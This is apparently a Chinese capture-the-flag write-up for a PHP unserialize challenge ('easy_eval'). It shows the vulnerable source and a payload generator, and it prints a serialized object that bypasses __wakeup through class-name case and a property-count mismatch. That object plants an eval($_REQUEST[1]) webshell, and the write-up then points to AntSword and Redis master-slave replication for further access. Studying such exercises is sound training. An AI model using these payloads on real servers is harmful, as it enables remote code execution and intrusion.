打开环境
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}
}else{
highlight_file(__FILE__);
}
简单分析一下主要绕过那个__wakeup函数就可以rce了
关于preg_match_all这个函数看这篇文章php preg_match_all()函数介绍与用法 - 飞鸟慕鱼博客 (feiniaomy.com)
最后要让$ret[1]里面的两个变量都等于1,因为他后面还有个intval($i)!==1的限制,(这个用大小写绕过就行了,因为php的变量名区分大小写,函数名、方法名、类名不区分大小写。)因为必须要绕过wakeup,所以用小写不让preg_match_all两个都匹配,放出来一个去绕过wakeup就可以了。
构造payload
<?php
class A{
public $code = "";
public function __construct(){
$this->code = "eval(\$_POST[1]);";
}
}
class B{
public function __construct(){
$this->a = new A();
}
}
echo serialize(new B());
$前面加\是怕序列化的时候执行了变成这样

?
得到O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:19:"eval($_REQUEST[1]);";}},把A 改为小写,即可修改后面数字来绕过
即O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:19:"eval($_REQUEST[1]);";}},连接蚁剑拿到shell
接着用redis主从复制打就可以了,参考
(28条消息) 『CTF Web复现』[2021 天翼杯]easy_eval_东京没有下雨天-CSDN博客
Redis攻击简单总结 - ttpfx's blog (pipinstall.cn)
|